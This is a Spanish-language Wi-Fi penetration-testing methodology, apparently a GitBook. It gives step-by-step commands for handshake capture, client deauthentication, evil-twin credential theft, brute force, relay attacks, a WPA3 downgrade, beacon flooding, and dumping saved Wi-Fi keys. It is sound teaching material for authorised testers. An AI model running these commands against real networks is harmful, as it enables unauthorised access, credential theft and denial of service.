Los mejores momentos para capturar *handshakes* sin deautenticación son aquellos en los cuales las personas acceden al espacio donde nos encontramos (o se encuentre el dispositivo utilizado durante las pruebas). Por ejemplo:

* Primeras horas del día durante la entrada a la oficina.
* Acceso a espacios de reuniones.
* Vuelta de la comida.

Para realizar la captura de paquetes se utiliza airodump, indicando el ESSID objetivo, las bandas utilizadas (por ejemplo, abg, que engloba las de 2,4Ghz y 5Ghz) y el fichero PCAP donde se guardará la información:

```bash
IFACE=wlan0
ESSID=test
PCAP=capture-$ESSID
airodump-ng --band abg --essid-regex $ESSID --write $PCAP $IFACE
```

Se espera hasta que se capture un *handshake*, cuando esto ocurra, arriba a la derecha aparecerá un mensaje "`[ WPA handshake: XX:XX:XX:XX:XX:XX ]`".

Para comprobar si se ha capturado el handshake:

```bash
aircrack-ng $PCAP
```

### Con deautenticación

Para capturar un handshake deautenticando un cliente se utilizará la herramienta aireplay-ng mientras se capturan *handshakes* como en la sección [#sin-deautenticacion](#sin-deautenticacion "mention").

```bash
IFACE=wlan0
ESSID=test
PCAP=capture-$ESSID
airodump-ng --essid-regex $ESSID --write $PCAP $IFACE
```

Según la agresividad con la que se quiera realizar los argumentos variarán, pero para realizar una deautenticación de 4 peticiones, que suele ser ínfima de cara al usuario, se puede realizar lo siguiente:

<pre class="language-bash"><code class="lang-bash"><strong>IFACE=wlan0
</strong>BSSID=11:22:33:44:55:66
STATION=66:55:44:33:22:11
aireplay-ng --deauth 4 -a $BSSID -c $STATION $IFACE
</code></pre>

Y se repite esto contra el mismo cliente u otros clientes hasta conseguir un handshake.

{% hint style="warning" %}
Mientras se realiza el ataque con aireplay-ng se estará forzando al cliente a desconectarse de la red, por lo que se le "denegará el servicio". Si se realiza de forma puntual no debería causar mayor problema que el similar a una simple desconexión puntual de la red de forma legítima, pero si se realiza de forma continuada se le impedirá al usuario acceder a la red, con el impacto que conlleva.
{% endhint %}

Recuerda asegurarte de que:

* La tarjeta se encuentra en modo monitor.
* La tarjeta se encuentra en el mismo canal que el punto de acceso.
* Estás físicamente cerca del punto de acceso.

## <mark style="color:red;">Comprobación de handshake capturado</mark>

Luego para comprobar que se ha capturado el *handshake*:

* aircrack-ng:

```bash
aircrack-ng $PCAP
```

* wireshark: Se abre el fichero PCAP y se usa el filtro "eapol" para ver los paquetes capturados.

## <mark style="color:red;">Creación de un AP falso / Fake AP</mark>

```bash
IFACE=wlan0
CH=120
BSSID=11:22:33:44:55:66
ESSID=testwifi
airebase-ng -a $BSSID --essid $ESSID -c $CH $IFACE
```


# WPA2-MGT / Red corporativa

En WPA-MGT o Enterprise, la autenticación es gestionada por un servidor RADIUS, para ello, se utilizan los métodos EAP que gestionan las credenciales de acuerdo al tipo de método utilizado.

Según los métodos que sean soportados, podrán realizarse distintos ataques con mayor o menor probabilidad de éxito.

Para la captura de credenciales, se crea un AP falso con el mismo SSID que la red objetivo. Si los métodos EAP soportados son inseguros, podría llegar a capturarse las credenciales (dependerá de la configuración tanto por parte del cliente como del AP y servidor).

## <mark style="color:red;">Métodos EAP</mark>

{% embed url="<https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol>" %}

{% embed url="<https://www.intel.com/content/www/us/en/support/articles/000006999/wireless/legacy-intel-wireless-products.html>" %}

## <mark style="color:red;">Métodos inseguros</mark>

Existen múltiples métodos que se consideren inseguros, ya que permiten que sean crackeados sin necesidad de un AP falso.

* **EAP-MD5.**
* **EAP-GTC**.
* **LEAP.**

Por otro lado, existen métodos seguros que pueden llegar a ser inseguros si no se implementan adecuadamente, pudiendo ser explotados por medio de la creación de un AP falso:

* PEAP.
* TTLS.

## <mark style="color:red;">Enumeración</mark>

### Nombres de usuario

En las redes MGT se usan identidades para autenticar usuario y/o dispositivos.

Estas identidades se envían antes de que se cree el túnel TLS para cifrar la autenticación, por lo que, es posible obtener los nombres de los usuarios de los clientes de la red en el momento en que se autentican.

[Análisis de paquetes](/pentesting-en-infraestructuras/redes-wi-fi/analisis-de-paquetes#nombres-de-identidades)

{% hint style="success" icon="bug-slash" %}
**Mitigación**

Configurar los clientes para que se mande la identidad anónima antes del cifrado y una vez se establezca el túnel ya se enviaría el nombre de usuario real.
{% endhint %}

### Extracción de certificados

Cuando se establece un túnel TLS entre el cliente (dispositivo o equipo) y servidor (AP) se envía la parte pública del certificado en texto claro. Este certificado se puede usar para recolectar información que luego puede ser útil para montar un servidor falso (FakeAP / RogueAP / etc).

{% code overflow="wrap" %}

```bash
wget https://gist.githubusercontent.com/r4ulcl/f3470f097d1cd21dbc5a238883e79fb2/raw/78e097e1d4a9eb5f43ab0b2763195c04f02c4998/pcapFilter.sh
```

{% endcode %}

{% code overflow="wrap" %}

```bash
chmod +x pcapFilter.sh
./pcapFilter.sh -f <fichero o carpeta de ficheros .cap> -C
```

{% endcode %}

### Enumeración de métodos EAP soportados por el servidor RADIUS

Es necesario contar con una identidad válida para realizar esta prueba de enumeración.

{% code overflow="wrap" %}

```bash
wget https://raw.githubusercontent.com/blackarrowsec/EAP_buster/refs/heads/master/EAP_buster.sh
```

{% endcode %}

{% code overflow="wrap" %}

```bash
./EAP_buster.sh <nombre del SSID> <nombre de la identidad> <interfaz de red>
./EAP_buster.sh mi-wifi-corp usuarioA wlan0
```

{% endcode %}

## <mark style="color:red;">Ataques</mark>

{% content-ref url="/pages/EayNgjorTayxIILoxAHy" %}
[Captura de credenciales](/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wpa2-mgt-red-corporativa/ataques/captura-de-credenciales)
{% endcontent-ref %}

{% content-ref url="/pages/SmzY5pNMj1eaXqnNi0vu" %}
[Fuerza bruta](/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wpa2-mgt-red-corporativa/ataques/fuerza-bruta)
{% endcontent-ref %}

{% content-ref url="/pages/FjbZIGxsjpECOhJ933DM" %}
[Ataque de retransmisión / relay](/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wpa2-mgt-red-corporativa/ataques/ataque-de-retransmision-relay)
{% endcontent-ref %}

### Ataque de downgrade

### Ataque de password spray


# Ataques


# Captura de credenciales

Al hecho de crear un AP falso con el mismo nombre que el AP objetivo, se le dan diferentes nombres:&#x20;

* AP falso.
* Fake AP.
* Rogue AP.&#x20;
* Evil Twin.

Solo funciona si se da alguna de las siguiente condiciones:

* El cliente usa usuario y contraseña para realizar la autenticación.
* El cliente no verifica el certificado del servidor con una CA conocida.

En adelante, se detallan los pasos

{% stepper %}
{% step %}

### Generar un certificado falso

En este punto se puede aprovechar la información enumerada del certificado para que se parezca lo máximo posible al legítimo. Si no se hubiera podido obtener información, se intentaría usar la información más cercana al contexto de la red objetivo.

{% code overflow="wrap" %}

```bash
python 3 ./eaphammer --cert-wizard
```

{% endcode %}
{% endstep %}

{% step %}

### Levantar el AP falso

Se levanta el AP usando una configuración similar al AP original que se quiere suplantar.

{% code overflow="wrap" %}

```bash
python3 ./eaphammer -i wlan1 --auth wpa-eap --essid <ESSID>
```

{% endcode %}
{% endstep %}

{% step %}

### Captura de paquetes

Se usa airodump para identificar los AP y clientes conectados al AP objetivo.
{% endstep %}

{% step %}

### Recibir autenticación

Para recibir el intento de autenticación se pueden hacer dos cosas:

* Esperar a que un cliente se conecte.
* Deautenticar a usuarios que estén conectados al AP, para forzar la reconexión.

{% code overflow="wrap" %}

```bash
# Deautenticación
aireplay-ng -0 0 -a <BSSID del AP> -C <STATION> wlan0
```

{% endcode %}

Para asegurar que en el fakeAP se reciba la autenticación, se puede hacer el ataque de deautenticación a la vez en todos los AP asociados al ESSID de la red wifi objetivo.
{% endstep %}

{% step %}

### Recibir credenciales

* Por terminal en la salida de la herramienta.
* En los logs de eaphammer:

{% code overflow="wrap" %}

```bash
cat logs/hostapd-eaphammer.log
```

{% endcode %}
{% endstep %}

{% step %}

### Cracking de hashes

{% code overflow="wrap" %}

```bash
hashcat -a 0 -m 5500 user.hc5500 <wordlist> --force
```

{% endcode %}
{% endstep %}

{% step %}

### Conexión con las credenciales

Se crea un fichero de configuración ('netauth\_user.conf') insertando una de las credenciales comprometidas:

{% code overflow="wrap" %}

```json
network={
    ssid="<ESSID>"
    scan_ssid=1
    key_mgmt=WPA-EAP
    eap=PEAP
    anonymous_identity="DOMINIO\anonymous"
    identity="DOMINIO\user"
    password="pass1234"
    phase1="peapver=1"
    phase2="MSCHAPV2"
}
```

{% endcode %}

Conexión:

{% code overflow="wrap" %}

```bash
wpa_supplicant -i wlan0 -c netauth_user.conf
```

{% endcode %}

Se pide IP:

{% code overflow="wrap" %}

```bash
sudo dhclient -v wlan0
```

{% endcode %}
{% endstep %}
{% endstepper %}


# Fuerza bruta

Si se conoce una identidad válida, es posible realizar un ataque de fuerza bruta para intentar obtener la contraseña del usuario.

Para ello, se puede usar air-hammer.

## Fuerza bruta contra contraseña con un usuario

{% stepper %}
{% step %}

### Ataque de fuerza bruta

{% code overflow="wrap" %}

```bash
./air-hammer.py -i wlan0 -e <ESSID> -p <wordlist> -u <identidad>
./air-hammer.py -i wlan0 -e mi-wifi-corp -p <wordlist> -u "DOMINIO\user"
```

{% endcode %}
{% endstep %}

{% step %}

### Conexión con las credenciales

Se crea un fichero de configuración ('netauth\_user.conf') insertando una de las credenciales comprometidas:

{% code overflow="wrap" %}

```json
network={
    ssid="<ESSID>"
    scan_ssid=1
    key_mgmt=WPA-EAP
    eap=PEAP
    anonymous_identity="DOMINIO\anonymous"
    identity="DOMINIO\user"
    password="pass1234"
    phase1="peapver=1"
    phase2="MSCHAPV2"
}
```

{% endcode %}

Conexión:

{% code overflow="wrap" %}

```bash
wpa_supplicant -i wlan0 -c netauth_user.conf
```

{% endcode %}

Se pide IP:

{% code overflow="wrap" %}

```bash
sudo dhclient -v wlan0
```

{% endcode %}
{% endstep %}
{% endstepper %}

## Fuerza bruta contra contraseña con múltiples usuarios

{% stepper %}
{% step %}

### Lista de identidades

{% code overflow="wrap" %}

```
DOMINIO\pepe.perez
DOMINIO\pepa.pig
```

{% endcode %}
{% endstep %}

{% step %}

### Ataque de fuerza bruta

{% code overflow="wrap" %}

```bash
./air-hammer.py -i wlan0 -e <ESSID> -p <wordlist> -u <lista de identidades>
```

{% endcode %}
{% endstep %}

{% step %}

### Conexión con las credenciales

Se crea un fichero de configuración ('netauth\_user.conf') insertando una de las credenciales comprometidas:

{% code overflow="wrap" %}

```json
network={
    ssid="<ESSID>"
    scan_ssid=1
    key_mgmt=WPA-EAP
    eap=PEAP
    anonymous_identity="DOMINIO\anonymous"
    identity="DOMINIO\user"
    password="pass1234"
    phase1="peapver=1"
    phase2="MSCHAPV2"
}
```

{% endcode %}

Conexión:

{% code overflow="wrap" %}

```bash
wpa_supplicant -i wlan0 -c netauth_user.conf
```

{% endcode %}

Se pide IP:

{% code overflow="wrap" %}

```bash
sudo dhclient -v wlan0
```

{% endcode %}
{% endstep %}
{% endstepper %}

## Fuerza bruta contra usuarios con múltiples interfaces&#x20;

Si conocemos una contraseña válida o una contraseña usada comúnmente por defecto en la organización, pero no sabemos a qué usuario pertenece, se puede realizar un ataque "a la inversa", es decir, probando la contraseña contra una lista de posibles usuarios.

Además, con eaphammer se pueden usar múltiples interfaces de red, para realizar el ataque más rápido, por ejemplo, 3 intentos por cada vez en caso de usar 3 interfaces de red.

##

{% stepper %}
{% step %}

### Lista de identidades

{% code overflow="wrap" %}

```
DOMINIO\pepe.perez
DOMINIO\pepa.pig
```

{% endcode %}
{% endstep %}

{% step %}

### Ataque de fuerza bruta

{% code overflow="wrap" %}

```bash
python3 eaphammer --eap-spray --interface-pool wlan0 wlan1 wlan2 --essid mi-wifi-corp --password pass1234 --user-list usuarios.txt | grep -aE "FOUND ONE|Trying credentials"
```

{% endcode %}
{% endstep %}

{% step %}

### Conexión con las credenciales

Se crea un fichero de configuración ('netauth\_user.conf') insertando una de las credenciales comprometidas:

{% code overflow="wrap" %}

```json
network={
    ssid="mi-wifi-corp"
    scan_ssid=1
    key_mgmt=WPA-EAP
    eap=PEAP
    anonymous_identity="DOMINIO\anonymous"
    identity="DOMINIO\user"
    password="pass1234"
    phase1="peapver=1"
    phase2="MSCHAPV2"
}
```

{% endcode %}

Conexión:

{% code overflow="wrap" %}

```bash
wpa_supplicant -i wlan0 -c netauth_user.conf
```

{% endcode %}

Se pide IP:

{% code overflow="wrap" %}

```bash
sudo dhclient -v wlan0
```

{% endcode %}
{% endstep %}
{% endstepper %}


# Ataque de retransmisión / relay

Básicamente nuestro AP falso se encontrará en medio de la comunicación entre el cliente legítimo y el AP legítimo.

El flujo en concreto es el siguiente:

1. Se levanta un punto de acceso falso.
2. El cliente se conecta a nuestro AP falso y a su vez wpa\_sycophant se conecta al AP real.
3. El AP real manda un challenge.
4. Nuestro AP falso se lo reenvía al cliente legítimo.
5. El cliente legítimo genera una respuesta que envía a nuestro AP falso.
6. Y esa respuesta se envía del AP falso al AP original.
7. Como el challenge es legítimo, nos conectamos directamente a la red.

## Relay attack

{% stepper %}
{% step %}

### Cambio de la MAC

Se recomienda cambiar la MAC del equipo de ataque por la MAC del AP objetivo:

[Comandos esenciales](/pentesting-en-infraestructuras/redes-wi-fi/comandos-esenciales#cambio-de-mac-por-la-del-ap-objetivo)
{% endstep %}

{% step %}

### Edición de fichero de config

Se cambia solo el `ssid` y el `bssid_blacklist`. En el ssid se pone el nombre de la red objetivo y en `bssid_blacklist` se pone la MAC que tiene nuestro equipo (en este caso coincide con la MAC del AP objetivo).

{% code overflow="wrap" %}

```bash
vim wpa_sycophant.conf
```

{% endcode %}

{% code overflow="wrap" %}

```json
network={
  ssid="mi-wifi-corp"
  # The SSID you would like to relay and authenticate against. 
  scan_ssid=1
  key_mgmt=WPA-EAP
  # Do not modify
  identity=""
  anonymous_identity=""
  password=""
  # This initialises the variables for me.
  # -------------
  eap=PEAP
  # Read https://w1.fi/cgit/hostap/plain/wpa_supplicant/wpa_supplicant.conf for help with phase1 options. 
  # This attempts to force the client not use cryptobinding. 
  phase1="peapver=1"
  phase2="auth=MSCHAPV2"
  # Dont want to connect back to ourselves,
  # so add your rogue BSSID here.
  bssid_blacklist=00:14:22:01:23:45
}
```

{% endcode %}
{% endstep %}

{% step %}

### 2 ventanas en paralelo

{% hint style="info" %}
Las interfaces usadas para cada acción deben ser distintas, nunca la misma.
{% endhint %}

1. Levantar el AP falso:

{% code overflow="wrap" %}

```bash
./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log <interfaz> lo mi-wifi-corp
./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan0 lo mi-wifi-corp
```

{% endcode %}

{% hint style="warning" icon="file-certificate" %}
Pedirá crear un certificado, por lo que, deberá ser lo más parecido al certificado original. Para ello se puede usar información recopilada durante la enumeración o usar una que intuyamos que puede ser la más cercana a ello.
{% endhint %}

{% hint style="warning" %}
El AP suele tardar en levantarse, así que paciencia y a esperar antes de lanzar el ataque :)
{% endhint %}

2. Se ejecuta wpa\_sycophant en la otra ventana:

{% code overflow="wrap" %}

```bash
./wpa_sycophant.sh -c wpa_sycophant.conf -i wlan1
```

{% endcode %}
{% endstep %}

{% step %}

### Recibir autenticación

Para recibir la autenticación se pueden hacer dos cosas:

* Esperar a que se conecte un cliente.
* Realizar un ataque de deautenticación:

{% code overflow="wrap" %}

```bash
aireplay-ng -0 0 wlan0 -a <BSSID> -c <STATION>
```

{% endcode %}
{% endstep %}

{% step %}

### Obtener IP

{% code overflow="wrap" %}

```bash
dhclient wlan2 -v
```

{% endcode %}
{% endstep %}
{% endstepper %}

## Evasión de bloqueo de autenticación con certificado

Si en vez de autenticarse, en `berate_ap` se ve un error como "SSL: SSL3 alert: read (remote and reported an error):fatal:unknown CA", se puede usar desde `berate_ap` un nombre de red a la que sí podamos conectarnos (ej: mi-wifi-corp) y en `wpa_sycophant` el nombre de la red objetivo (ej: mi-wifi-internal), esto hará que nos autentiquemos en la primera red permitida y se reenvíen esas credenciales a la segunda red donde inicialmente no nos podíamos conectar, y que nos conectemos satisfactoriamente.

{% stepper %}
{% step %}

### Cambio de la MAC

Se recomienda cambiar la MAC del equipo de ataque por la MAC del AP objetivo:

[Comandos esenciales](/pentesting-en-infraestructuras/redes-wi-fi/comandos-esenciales#cambio-de-mac-por-la-del-ap-objetivo)
{% endstep %}

{% step %}

### Edición de fichero de config

Se cambia solo el `ssid` y el `bssid_blacklist`. En el ssid se pone el nombre de la red objetivo y en `bssid_blacklist` se pone la MAC que tiene nuestro equipo (en este caso coincide con la MAC del AP objetivo).

{% code overflow="wrap" %}

```bash
vim wpa_sycophant.conf
```

{% endcode %}

{% code overflow="wrap" %}

```json
network={
  ssid="mi-wifi-internal"
  # The SSID you would like to relay and authenticate against. 
  scan_ssid=1
  key_mgmt=WPA-EAP
  # Do not modify
  identity=""
  anonymous_identity=""
  password=""
  # This initialises the variables for me.
  # -------------
  eap=PEAP
  # Read https://w1.fi/cgit/hostap/plain/wpa_supplicant/wpa_supplicant.conf for help with phase1 options. 
  # This attempts to force the client not use cryptobinding. 
  phase1="peapver=1"
  phase2="auth=MSCHAPV2"
  # Dont want to connect back to ourselves,
  # so add your rogue BSSID here.
  bssid_blacklist=00:14:22:01:23:45
```

{% endcode %}
{% endstep %}

{% step %}

### 2 ventanas en paralelo

{% hint style="info" %}
Las interfaces usadas para cada acción deben ser distintas, nunca la misma.
{% endhint %}

1. Levantar el AP falso:

{% code overflow="wrap" %}

```bash
./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan0 lo mi-wifi-corp
```

{% endcode %}

{% hint style="warning" icon="file-certificate" %}
Pedirá crear un certificado, por lo que, deberá ser lo más parecido al certificado original. Para ello se puede usar información recopilada durante la enumeración o usar una que intuyamos que puede ser la más cercana a ello.
{% endhint %}

{% hint style="warning" %}
El AP suele tardar en levantarse, así que paciencia y a esperar antes de lanzar el ataque :)
{% endhint %}

2. Se ejecuta wpa\_sycophant en la otra ventana:

{% code overflow="wrap" %}

```bash
./wpa_sycophant.sh -c wpa_sycophant.conf -i wlan1
```

{% endcode %}
{% endstep %}

{% step %}

### Recibir autenticación

Para recibir la autenticación se pueden hacer dos cosas:

* Esperar a que se conecte un cliente.
* Realizar un ataque de deautenticación. La deautenticación se realizará contra un cliente de la red a la que podemos conectarnos (ej: mi-wifi-corp), no de la red objetivo.

{% code overflow="wrap" %}

```bash
aireplay-ng -0 0 wlan0 -a <BSSID> -c <STATION>
```

{% endcode %}
{% endstep %}

{% step %}

### Obtener IP

{% code overflow="wrap" %}

```bash
dhclient wlan2 -v
```

{% endcode %}
{% endstep %}
{% endstepper %}


# WPA3

## WPA3-SAE

### **Ataque de downgrade a WPA2 (Dragonblood - CVE-2019-9494)**

Consiste en forzar a un cliente a conectarse a un cliente WPA3-SAE utilizando WPA2, lo que permite un ataque de diccionario offline para obtener la contraseña. Para su explotación se crea un AP malicioso para engañar al cliente haciéndole creer que el AP no admite WPA3, permitiendo degradar la conexión a WPA2.

<https://github.com/neildalal/WPA3-Attacks-IDS/tree/1e9abe17f8f2d595724c198a640544b81d72f5d1/Attacks/WPA2%20Downgrade>

Los pasos de explotación son:

* Configurar un AP malicioso que soporte tanto WPA2 como WPA3-SAE.
* Interceptar la negociación de autenticación y fuerza al cliente a utilizar WPA2 en lugar de WPA3.
* Una vez degradada la conexión a WPA2, realizar un ataque de diccionario offline para crackear la clave precompartida (PSK).

Se configura el SSID, MAC y Canal de hostapd con los mismos valores que los del AP objetivo:

```bash
sudo ./hostapd wpa2.conf -dd -K
```

{% hint style="warning" %}
Cuando el AP falso está en ejecución, ningún cliente nuevo es capaz de unirse a la red. Nuestros clientes se quedan bloqueados en «Obtaining IP Address» o reciben el error - «Check Password and try Again». En cuanto se detiene el ataque, todos los clientes pueden conectarse correctamente a la red.
{% endhint %}

### \[DoS] Beacon Flood&#x20;

El protocolo WPA3-SAE utiliza *beacon frames* para algunas operaciones de gestión. Si estos no están adecuadamente protegidos, un atacante podría crear paquetes y enviarlos como si fueran legítimos, provocando un ataque DoS.

<https://github.com/neildalal/WPA3-Attacks-IDS/tree/1e9abe17f8f2d595724c198a640544b81d72f5d1/Attacks/Beacon%20Flood>

* Un único SSID:

```bash
sudo mdk3 wlan0 b -n FreeWifi
```

* Múltiples SSID:

```bash
sudo mdk3 wlan0 b -f ssid_list.txt
```

## Referencias

* <https://wpa3.mathyvanhoef.com/>
* <https://github.com/neildalal/WPA3-Attacks-IDS>
* <https://github.com/blunderbuss-wctf/wacker>
* <https://conference.hitb.org/hitbsecconf2022sin/materials/D1T1%20-%20Attacking%20WPA3%20-%20New%20Vulnerabilities%20and%20Exploit%20Framework%20-%20Mathy%20Vanhoef.pdf>
* <https://www.youtube.com/watch?v=acxUs5IjQ3c>
* <https://wpa3.mathyvanhoef.com/>
* <https://github.com/neildalal/WPA3-Attacks-IDS>


# Metodología de Pentest Wifi

***

Las vulnerabilidades clásicas (WEP, WPS con PIN estático) están casi extintas en entornos corporativos serios. El enfoque moderno se centra en fallos de protocolo (client-less) y ataques a la identidad (Enterprise).

***

Las fases en las que se pueden dividir las pruebas son:

1. Descubrimiento de dispositivos.
2. Análisis de configuración, protocolos y autenticación.
3. Análisis y explotación de vulnerabilidades.
4. Post-explotación y análisis de la infraestructura interna.

***

## <mark style="color:red;">Fase 0: Preparación del entorno de pruebas</mark>

Para preparar el entorno, se deberá contar con hardware adecuado para poder realizar las pruebas sin impedimentos.

**¿Cuántos SSID están dentro del alcance?**

Como mínimo, se recomiendan dos antenas para poder realizar pruebas en las redes con comodidad. Si el número de SSID es elevado, es mejor contar con más antenas para poder realizar más pruebas en paralelo sin perder tiempo.

**¿En qué banda emiten?**

Las antenas deberán contar con compatibilidad con las bandas permitidas por los dispositivos dentro del alcance. Normalmente se emite en 2,4Ghz y 5Ghz. No obstante, es posible que durante las pruebas se encuentre que los AP emiten solo en 5Ghz y si alguna de las antenas no lo permite, no nos servirá de nada y dificultará la realización de las pruebas.

Para conocer más detalles de qué hardware elegir: [Herramientas](/pentesting-en-infraestructuras/redes-wi-fi/herramientas)

### Configuración del entorno de pruebas

Antes de comenzar, habrá que conectar las antenas al dispositivo, por ejemplo, máquina virtual y verificar que se detectan correctamente.

Se ejecuta el siguiente comando para listar las interfaces de red:

```bash
ip a
```

### Escáner de redes

Antes de comenzar a capturar el tráfico en modo monitor, se pueden escanear las redes fácilmente con el siguiente comando:

```bash
IFACE=wlan0
iwlist $IFACE scan
```

## <mark style="color:red;">Fase 1: Descubrimiento de dispositivos</mark>

Para poder identificar los dispositivos, es necesario saber que se trata de una relación cliente-servidor. En la cuál los dispositivos que emiten las redes Wi-Fi (routers, AP, etc.) son el "servidor" y los dispositivos que se conectan a dichas redes (portátil, móvil, IoT, etc.) son los "clientes".

Sabiendo esto, se deberán capturar los paquetes que se transmiten por ambas partes, tanto de forma individual como en conjunto, para poder obtener información de dichos paquetes.

Para identificar los dispositivos, tanto AP como clientes, se podrá utilizar aircrack-ng para capturar paquetes que luego podrán ser analizados para extraer información relevante en adelante para la ejecución de las pruebas y explotación de posibles vulnerabilidades.

### Identificación de redes disponibles

Para poder capturar paquetes, habrá que configurar las antenas en modo monitor. Ante la duda de si las redes están emitiendo en 2,4Ghz o 5Ghz, mejor configurarla en 5Ghz, que capturará ambas redes:

[Redes Wi-Fi](/pentesting-en-infraestructuras/redes-wi-fi#modo-monitor)

```bash
IFACE=wlan0
ip link set $IFACE down
airmon-ng check kill
iw $IFACE set monitor none
iw dev $IFACE set txpower fixed 3000
iw dev $IFACE set freq 5180
ip link set $IFACE up
iw dev
```

Con la tarjeta de red, por ejemplo, *wlan0* en modo monitor, se utiliza *airodump-ng* para capturar los paquetes de todas las redes al alcance y escribir la información en un fichero PCAP:

```bash
IFACE=wlan0
PCAP=captura
airodump-ng $IFACE --write $PCAP
```

Si se quiere obtener información de una red en concreto, por ejemplo, las redes dentro del alcance o redes de la organización objetivo, se puede usar el argumento `--essid-regex`, que permite filtrar según el nombre de la red:

```bash
IFACE=wlan0
PCAP=captura
REGEX=WIFI_*
airodump-ng $IFACE --write $PCAP --essid-regex $REGEX
```

Si se quiere obtener mejor la captura de un punto de acceso en concreto, se utiliza el argumento `--bssid` para indicar la MAC objetivo y el canal que se quiera utilizar con el parámetro `--channel`:

```bash
IFACE=wlan0
BSSID=00:11:22:33:44:55
CH=6
PCAP=captura
airodump-ng --bssid $BSSID --channel $CH --write $PCAP $IFACE
```

### Nombres de redes ocultas (Hidden SSIDs)

Es posible obtener el nombre de redes ocultas si se capturan paquetes de conexiones de clientes a esta red (Probe Response).&#x20;

Por ejemplo, si se ejecuta la herramienta de airodump capturando paquetes, inicialmente no se verán los nombres de las redes. No obstante, cuando un cliente se conecte a la red, se capturará el paquete *Probe Response* y se identificará el BSSID al que se encuentra asociada la SSID.

Esta conexión por parte del cliente a la red puede ocurrir de dos formas:

* El cliente se conecta a la red.
* Se deautentica al cliente de la red, forzando a que vuelva a conectarse: Para esto, habrá que identificar qué clientes están conectados al SSID oculto y deautenticarlos. [Redes Wi-Fi](/pentesting-en-infraestructuras/redes-wi-fi#deautenticacion)

```bash
IFACE=wlan0
PCAP=captura
airodump-ng $IFACE --write $PCAP
```

El nombre de la SSID se mostrará asociada al BSSID en vivo en la salida de airodump, aunque también se puede consultar posteriormente en el pcap filtrando el paquete de Probe Response [Redes Wi-Fi](/pentesting-en-infraestructuras/redes-wi-fi#probe-response-ap).

Si solo hay una red oculta, se pude realizar la misma captura afinando más el comando para apuntar al BSSID objetivo:

```bash
IFACE=wlan0
CH=6
BSSID=00:11:22:33:44:55
airodump-ng --bssid $BSSID --channel $CH $IFACE
```

{% hint style="danger" %}
¿Y si no consigo que se muestre el nombre?

Se pude deber a muchos motivos, algunos de ellos pueden ser:

* Que no se conecten clientes a la red en el momento de capturar los paquetes.
* Que cuando se deautentica un cliente, este se conecte a un AP distinto al que no tengamos alcance.
  {% endhint %}

### Análisis de los paquetes

Usando wireshark es posible filtrar los paquetes y obtener información relevante sobre las redes.

## <mark style="color:red;">Fase 2: Análisis de configuración, protocolos y autenticación</mark>

Existen dos tipos de autenticación:

* Open Key: Redes abiertas.
* Shared Key: Autenticación con clave compartida.
* Simultaneous Authentication of Equals (SAE): Autenticación simultánea de iguales.

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2F57ZFytwOtTrPO0kTsSFh%2Fredes.png?alt=media&amp;token=7626773c-26db-435b-89e5-d8980be8884a" alt=""><figcaption></figcaption></figure>

## <mark style="color:red;">Top Vulnerabilidades Explotables</mark>

### **Attack PMKID (Client-less WPA2/WPA3)**

* Por qué es top: Fue descubierto en 2018, pero las herramientas para explotarlo (`hcxdumptool`) han madurado increíblemente en los últimos 3 años.
* La vulnerabilidad: Muchos routers modernos incluyen un campo opcional en el primer frame del handshake (RSN IE) llamado PMKID.
* La ventaja: No necesitas esperar a un usuario. Puedes atacar al router directamente y obtener el hash para crackear. Funciona incluso en redes con WPA3 si están en "Transition Mode".

```bash
IFACE=wlan0
hcxdumptool -i $IFACE --rds=1 -F
```

### **EAP Downgrade & Hostile Portal (WPA-Enterprise)**

* Por qué es top: Las empresas usan WPA2-Enterprise (Usuario/Password). El eslabón débil no es el cifrado, es la configuración de los clientes (Windows/Android).
* La vulnerabilidad: Los "Evil Twins" modernos (`EAPHammer`) fuerzan a los dispositivos a usar protocolos de autenticación más débiles (GTC) para robar credenciales en texto plano, o capturan el hash NetNTLM para pasarlo por Hashcat.

### **WPA3-Transition Mode Attacks**

* Por qué es top: Como WPA3 puro no es compatible con dispositivos viejos, las empresas usan el modo "Transition" (WPA2 + WPA3).
* La vulnerabilidad: Permite ataques de degradación (downgrade attacks). Puedes forzar a un cliente capaz de WPA3 a conectarse usando WPA2 y atacar ese protocolo.

### **OWE (Opportunistic Wireless Encryption) Evil Twin**

* Por qué es top: Es el reemplazo de las redes "Abiertas" (Open) en el estándar WiFi 6/6E.
* La vulnerabilidad: Aunque cifra el tráfico, no autentica al AP. Un atacante puede crear un gemelo malvado OWE y el cliente cifrará el tráfico *hacia el atacante* creyendo que es seguro.

## <mark style="color:red;">Ataques según el tipo de red</mark>

### Redes personales

{% content-ref url="/pages/XLJgW6acKdoa6n1DiTwG" %}
[WPA2-PSK / Red personal](/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wpa2-psk-red-personal)
{% endcontent-ref %}

### Redes corporativas

{% content-ref url="/pages/vAGHYIgRlryZGEsfFxUZ" %}
[WPA2-MGT / Red corporativa](/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wpa2-mgt-red-corporativa)
{% endcontent-ref %}

## <mark style="color:red;">Fase 5: Post-Explotación</mark>

Si se consigue RCE en un equipo Windows, se puede intentar obtener el contenido en claro de las claves con el siguiente comando:

```
netsh wlan show profile name="NOMBRE_DE_RED" key=clear
```


# Cloud

{% content-ref url="/pages/jD12EIb3RwFwKZtMH41j" %}
[Azure](/pentesting-en-infraestructuras/cloud/azure)
{% endcontent-ref %}


# Azure

## <mark style="color:red;">Entra ID</mark>

{% hint style="warning" %}

## Azure AD = Entra ID

{% endhint %}

[Microsoft Entra ID](https://www.microsoft.com/es-es/security/business/identity-access/microsoft-entra-id) es el servicio de gestión de acceso e identidades basado en la nube de Microsoft. Equivalente al Active Directory on-prem, pero basado en la nube. Por lo que, <mark style="color:blue;">es</mark> <mark style="color:blue;"></mark><mark style="color:blue;">**uno de los muchos servicios dentro de Azure**</mark>**.**

En este servicio se:

* Almacena identidades de usuarios, dispositivos, grupos y aplicaciones.
* Implementa políticas de acceso condicional y MFA.
